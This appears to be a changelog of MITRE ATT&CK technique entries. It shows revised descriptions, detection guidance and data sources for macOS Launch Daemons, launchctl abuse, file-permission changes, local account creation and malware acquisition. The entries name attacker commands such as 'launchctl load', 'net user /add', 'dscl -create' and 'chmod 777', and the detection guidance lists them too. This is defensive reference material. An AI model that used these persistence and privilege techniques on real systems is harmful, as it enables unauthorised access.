|---|---|---|
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} | |
| external_references | {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'} | |
| x_mitre_contributors | Edward Millington | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:10:10.862000+00:00 | 2021-09-28 21:17:42.490000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Network Share: Network Share Access |
| x_mitre_data_sources[1] | File monitoring | Named Pipe: Named Pipe Metadata |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Process use of network | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[5] | Network protocol analysis | Process: Process Creation |
| x_mitre_data_sources[6] | Process monitoring | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Metadata |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch daemons to repeatedl | t | 1 | Adversaries may create or modify Launch Daemons to execute m |
| > | y execute malicious payloads as part of persistence. Per App | > | alicious payloads as part of persistence. Launch Daemons are | ||
| > | le’s developer documentation, when macOS and OS X boot up, l | > | plist files used to interact with Launchd, the service mana | ||
| > | aunchd is run to finish system initialization. This process | > | gement framework used by macOS. Launch Daemons require eleva | ||
| > | loads the parameters for each launch-on-demand system-level | > | ted privileges to install, are executed for every user on a | ||
| > | daemon from the property list (plist) files found in <code>/ | > | system prior to login, and run in the background without the | ||
| > | System/Library/LaunchDaemons</code> and <code>/Library/Launc | > | need for user interaction. During the macOS initialization | ||
| > | hDaemons</code> (Citation: AppleDocs Launch Agent Daemons). | > | startup, the launchd process loads the parameters for launch | ||
| > | These LaunchDaemons have property list files which point to | > | -on-demand system-level daemons from plist files found in <c | ||
| > | the executables that will be launched (Citation: Methods of | > | ode>/System/Library/LaunchDaemons/</code> and <code>/Library | ||
| > | Mac Malware Persistence). Adversaries may install a new la | > | /LaunchDaemons/</code>. Required Launch Daemons parameters i | ||
| > | unch daemon that can be configured to execute at startup by | > | nclude a <code>Label</code> to identify the task, <code>Prog | ||
| > | using launchd or launchctl to load a plist into the appropri | > | ram</code> to provide a path to the executable, and <code>Ru | ||
| > | ate directories (Citation: OSX Malware Detection). The daem | > | nAtLoad</code> to specify when the task is run. Launch Daemo | ||
| > | on name may be disguised by using a name from a related oper | > | ns are often used to provide access to shared resources, upd | ||
| > | ating system or benign software (Citation: WireLurker). Laun | > | ates to software, or conduct automation tasks.(Citation: App | ||
| > | ch Daemons may be created with administrator privileges, but | > | leDocs Launch Agent Daemons)(Citation: Methods of Mac Malwar | ||
| > | are executed under root privileges, so an adversary may als | > | e Persistence)(Citation: launchd Keywords for plists) Adver | ||
| > | o use a service to escalate privileges from administrator to | > | saries may install a Launch Daemon configured to execute at | ||
| > | root. The plist file permissions must be root:wheel, but | > | startup by using the <code>RunAtLoad</code> parameter set to | ||
| > | the script or program that it points to has no such requirem | > | <code>true</code> and the <code>Program</code> parameter se | ||
| > | ent. So, it is possible for poor configurations to allow an | > | t to the malicious executable path. The daemon name may be d | ||
| > | adversary to modify a current Launch Daemon’s executable and | > | isguised by using a name from a related operating system or | ||
| > | gain persistence or Privilege Escalation. | > | benign software (i.e. [Masquerading](https://attack.mitre.or | ||
| > | g/techniques/T1036)). When the Launch Daemon is executed, th | ||||
| > | e program inherits administrative permissions.(Citation: Wir | ||||
| > | eLurker)(Citation: OSX Malware Detection) Additionally, sys | ||||
| > | tem configuration changes (such as the installation of third | ||||
| > | party package managing software) may cause folders such as | ||||
| > | <code>usr/local/bin</code> to become globally writeable. So, | ||||
| > | it is possible for poor configurations to allow an adversar | ||||
| > | y to modify executables referenced by current Launch Daemon' | ||||
| > | s plist files.(Citation: LaunchDaemon Hijacking)(Citation: s | ||||
| > | entinelone macos persist Jun 2019) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:46:44.130000+00:00 | 2021-10-07 22:10:55.653000+00:00 |
| description | Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019) |
| external_references[5]['source_name'] | OSX Malware Detection | launchd Keywords for plists |
| external_references[5]['description'] | Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. | Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021. |
| external_references[5]['url'] | https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf | https://www.real-world-systems.com/docs/launchdPlist.1.html |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_detection | Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. | Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.
Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)
|
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OSX Malware Detection', 'description': "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'} | |
| external_references | {'source_name': 'LaunchDaemon Hijacking', 'description': 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.', 'url': 'https://bradleyjkemp.dev/post/launchdaemon-hijacking/'} | |
| external_references | {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Modification | |
| x_mitre_effective_permissions | Administrator |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse launchctl to execute commands or progr | t | 1 | Adversaries may abuse launchctl to execute commands or progr |
| > | ams. Launchctl controls the macOS launchd process, which han | > | ams. Launchctl interfaces with launchd, the service manageme | ||
| > | dles things like [Launch Agent](https://attack.mitre.org/tec | > | nt framework for macOS. Launchctl supports taking subcommand | ||
| > | hniques/T1543/001)s and [Launch Daemon](https://attack.mitre | > | s on the command-line, interactively, or even redirected fro | ||
| > | .org/techniques/T1543/004)s, but can execute other commands | > | m standard input.(Citation: Launchctl Man) Adversaries use | ||
| > | or programs itself. Launchctl supports taking subcommands on | > | launchctl to execute commands and programs as [Launch Agent] | ||
| > | the command-line, interactively, or even redirected from st | > | (https://attack.mitre.org/techniques/T1543/001)s or [Launch | ||
| > | andard input.(Citation: Launchctl Man) By loading or reload | > | Daemon](https://attack.mitre.org/techniques/T1543/004)s. Com | ||
| > | ing [Launch Agent](https://attack.mitre.org/techniques/T1543 | > | mon subcommands include: <code>launchctl load</code>,<code>l | ||
| > | /001)s or [Launch Daemon](https://attack.mitre.org/technique | > | aunchctl unload</code>, and <code>launchctl start</code>. Ad | ||
| > | s/T1543/004)s, adversaries can install persistence or execut | > | versaries can use scripts or manually run the commands <code | ||
| > | e changes they made.(Citation: Sofacy Komplex Trojan) Runni | > | >launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <c | ||
| > | ng a command from launchctl is as simple as <code>launchctl | > | ode>/bin/launchctl load</code> to execute [Launch Agent](htt | ||
| > | submit -l <labelName> -- /Path/to/thing/to/execute "arg" "ar | > | ps://attack.mitre.org/techniques/T1543/001)s or [Launch Daem | ||
| > | g" "arg"</code>. Adversaries can abuse this functionality to | > | on](https://attack.mitre.org/techniques/T1543/004)s.(Citatio | ||
| > | execute code or even bypass application control if launchct | > | n: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools an | ||
| > | l is an allowed process. | > | d Techniques) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:28:29.079000+00:00 | 2021-10-15 18:40:23.141000+00:00 |
| description | Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)
Running a command from launchctl is as simple as launchctl submit -l . Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process. | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w "%s/Library/LaunchAgents/%s" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
|
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Service: Service Creation |
| x_mitre_detection | KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes. | Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders.
Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.
When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Most | > | n perform which actions (read, write, execute, etc.). Most | ||
| > | Linux and Linux-based platforms provide a standard set of pe | > | Linux and Linux-based platforms provide a standard set of pe | ||
| > | rmission groups (user, group, and other) and a standard set | > | rmission groups (user, group, and other) and a standard set | ||
| > | of permissions (read, write, and execute) that are applied t | > | of permissions (read, write, and execute) that are applied t | ||
| > | o each group. While nuances of each platform’s permissions i | > | o each group. While nuances of each platform’s permissions i | ||
| > | mplementation may vary, most of the platforms provide two pr | > | mplementation may vary, most of the platforms provide two pr | ||
| > | imary commands used to manipulate file and directory ACLs: < | > | imary commands used to manipulate file and directory ACLs: < | ||
| > | code>chown</code> (short for change owner), and <code>chmod< | > | code>chown</code> (short for change owner), and <code>chmod< | ||
| > | /code> (short for change mode). Adversarial may use these c | > | /code> (short for change mode). Adversarial may use these c | ||
| > | ommands to make themselves the owner of files and directorie | > | ommands to make themselves the owner of files and directorie | ||
| > | s or change the mode if current permissions allow it. They c | > | s or change the mode if current permissions allow it. They c | ||
| > | ould subsequently lock others out of the file. Specific file | > | ould subsequently lock others out of the file. Specific file | ||
| > | and directory modifications may be a required step for many | > | and directory modifications may be a required step for many | ||
| > | techniques, such as establishing Persistence via [.bash_pro | > | techniques, such as establishing Persistence via [Unix Shel | ||
| > | file and .bashrc](https://attack.mitre.org/techniques/T1546/ | > | l Configuration Modification](https://attack.mitre.org/techn | ||
| > | 004) or tainting/hijacking other instrumental binary/configu | > | iques/T1546/004) or tainting/hijacking other instrumental bi | ||
| > | ration files via [Hijack Execution Flow](https://attack.mitr | > | nary/configuration files via [Hijack Execution Flow](https:/ | ||
| > | e.org/techniques/T1574). | > | /attack.mitre.org/techniques/T1574).(Citation: 20 macOS Comm | ||
| > | on Tools and Techniques) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:12:40.041000+00:00 | 2021-09-13 21:08:09.985000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Metadata |
| x_mitre_detection | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques)
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. With a suff | > | or administration on a single system or service. With a suff | ||
| > | icient level of access, the <code>net user /add</code> comma | > | icient level of access, the <code>net user /add</code> comma | ||
| > | nd can be used to create a local account. Such accounts may | > | nd can be used to create a local account. On macOS systems t | ||
| > | be used to establish secondary credentialed access that do | > | he <code>dscl -create</code> command can be used to create a | ||
| > | not require persistent remote access tools to be deployed on | > | local account. Such accounts may be used to establish seco | ||
| > | the system. | > | ndary credentialed access that do not require persistent rem | ||
| > | ote access tools to be deployed on the system. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 18:04:20.780000+00:00 | 2021-08-12 13:04:14.248000+00:00 |
| description | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. |
| x_mitre_data_sources[0] | Process monitoring | User Account: User Account Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Authentication logs | Command: Command Execution |
| x_mitre_detection | Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. | Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows event logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.177000+00:00 | 2021-07-21 23:10:47.193000+00:00 |
| x_mitre_data_sources[0] | Anti-virus | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download malware that can be |
| > | download malware that can be used during targeting. Malicio | > | used during targeting. Malicious software can include payloa | ||
| > | us software can include payloads, droppers, post-compromise | > | ds, droppers, post-compromise tools, backdoors, packers, and | ||
| > | tools, backdoors, packers, and C2 protocols. Adversaries may | > | C2 protocols. Adversaries may acquire malware to support th | ||
| > | acquire malware to support their operations, obtaining a me | > | eir operations, obtaining a means for maintaining control of | ||
| > | ans for maintaining control of remote machines, evading defe | > | remote machines, evading defenses, and executing post-compr | ||
| > | nses, and executing post-compromise behaviors. In addition | > | omise behaviors. In addition to downloading free malware fr | ||
| > | to downloading free malware from the internet, adversaries m | > | om the internet, adversaries may purchase these capabilities | ||
| > | ay purchase these capabilities from third-party entities. Th | > | from third-party entities. Third-party entities can include | ||
| > | ird-party entities can include technology companies that spe | > | technology companies that specialize in malware development | ||
| > | cialize in malware development, criminal marketplaces (inclu | > | , criminal marketplaces (including Malware-as-a-Service, or | ||
| > | ding Malware-as-a-Service, or MaaS), or from individuals. In | > | MaaS), or from individuals. In addition to purchasing malwar | ||
| > | addition to purchasing malware, adversaries may steal and r | > | e, adversaries may steal and repurpose malware from third-pa | ||
| > | epurpose malware from third-party entities (including other | > | rty entities (including other adversaries). | ||
| > | adversaries). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:46:54.437000+00:00 | 2021-10-17 16:15:52.805000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:21:11.895000+00:00 | 2021-10-18 13:24:52.618000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Service: Service Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Service: Service Creation |
| x_mitre_data_sources[3] | Windows event logs | Scheduled Job: Scheduled Job Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_platforms | macOS |
Current version: 1.4
Version changed from: 1.3 → 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:54:28.727000+00:00 | 2021-10-18 13:24:52.973000+00:00 |
| external_references[3]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| x_mitre_contributors[1] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process command-line parameters | Image: Image Metadata |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Service: Service Metadata |
| x_mitre_data_sources[3] | Binary file metadata | Service: Service Creation |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
